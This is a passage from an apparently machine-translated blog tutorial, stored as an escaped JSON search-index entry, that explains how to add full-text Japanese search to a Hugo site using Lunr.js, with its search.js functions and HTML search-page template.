result.ref; })[0]; }); } function renderResults(results) { if (!results.length) { $results.append(\u0026#39;\u0026lt;p\u0026gt;No matches found\u0026lt;/p\u0026gt;\u0026#39;); return; } results.forEach(function(result) { var $result = $(\u0026#34;\u0026lt;li\u0026gt;\u0026#34;); $result.append($(\u0026#34;\u0026lt;a\u0026gt;\u0026#34;, { href: result.href, text: result.title })); if (result.contents.length \u0026lt;= 100) { $result.append($(\u0026#34;\u0026lt;p\u0026gt;\u0026#34;, { text: result.contents })); } else { $result.append($(\u0026#34;\u0026lt;p\u0026gt;\u0026#34;, { text: result.contents.slice(0, 100) + \u0026#34; ...\u0026#34; })); } $results.append($result); }); } initLunr(); initLunr() loads the target language, index, and search string. Since specifying only \u0026lsquo;jp\u0026rsquo; for the language won\u0026rsquo;t match numeric sequences or English strings, \u0026rsquo;en\u0026rsquo; is also specified.\nsearch() reads the search query. If the query length is 2 or more, the search begins.\nresults(query) uses Lunr to search based on the query and returns information about the matching articles. Since Lunr only returns the index as a search result, the article content is retrieved from the search data in step 1 based on this result.\nrenderResults(results) appends the search results to the search page (described later) based on the output from results(query).\n4. Search Page Generation In this article, it is placed in index.html, but it can be anywhere.\nlayouts/index.html \u0026lt;script src=\u0026#34;https://code.jquery.com/jquery-3.3.1.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;js/lunr.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;js/lunr.stemmer.support.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;js/tinyseg.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;js/lunr.jp.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;js/lunr.multi.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;{{ \u0026#34;js/search.js\u0026#34; | absURL }}\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;form class=\u0026#34;full-text-search-form\u0026#34; action=\u0026#34;{{ .URL }}\u0026#34; onkeyup=\u0026#34;search()\u0026#34;\u0026gt; \u0026lt;input id=\u0026#34;search-query\u0026#34; placeholder=\u0026#34;Full Text Search\u0026#34; name=\u0026#34;query\u0026#34; autocomplete=\u0026#34;off\u0026#34; search autofocus/\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;ul id=\u0026#34;results\u0026#34;\u0026gt; The first seven lines load jQuery along with the JS files set up in steps 2 and 3. jQuery is used within search.js.\nThe form is a text box for entering search terms, and search.js\u0026rsquo;s search() function is executed with every keystroke.\nThe ul is where the search results are displayed, and it is manipulated by search.js based on the results.\nFinally, confirm that the search function is working on the search page at http://localhost:1313/index.html.\nhttps://lunrjs.com/guides/language_support.html\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://lunrjs.com/guides/getting_started.html\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://unigiri.gitlab.io/en/posts/full-text-japanese-search-with-hugo-plus-lunr/","summary":"\u003chr\u003e\n\u003cp\u003eThis article was machine-translated from the Japanese version.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"what-is-hugo\"\u003eWhat is Hugo?\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://gohugo.io/\"\u003eHugo\u003c/a\u003e is a static site generator framework built with Go.\u003c/p\u003e\n\u003ch2 id=\"what-is-lunr\"\u003eWhat is Lunr?\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://lunrjs.com/\"\u003eLunr\u003c/a\u003e is a text search engine built with JavaScript. It supports Japanese language search.\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003ch2 id=\"how-to-set-up-the-search-function\"\u003eHow to set up the search function\u003c/h2\u003e\n\u003cp\u003eThe following content is based on \u003ca href=\"https://gist.github.com/sebz/efddfc8fdcb6b480f567\"\u003ehttps://gist.github.com/sebz/efddfc8fdcb6b480f567\u003c/a\u003e and \u003ca href=\"https://gist.github.com/eddiewebb/735feb48f50f0ddd65ae5606a1cb41ae\"\u003ehttps://gist.github.com/eddiewebb/735feb48f50f0ddd65ae5606a1cb41ae\u003c/a\u003e.\u003c/p\u003e\n\u003ch3 id=\"file-structure\"\u003eFile structure\u003c/h3\u003e\n\u003cp\u003eThe file structure after implementation is as follows. Only the parts related to the search function are listed.\u003c/p\u003e","title":"Full-text Japanese search with Hugo + Lunr"}]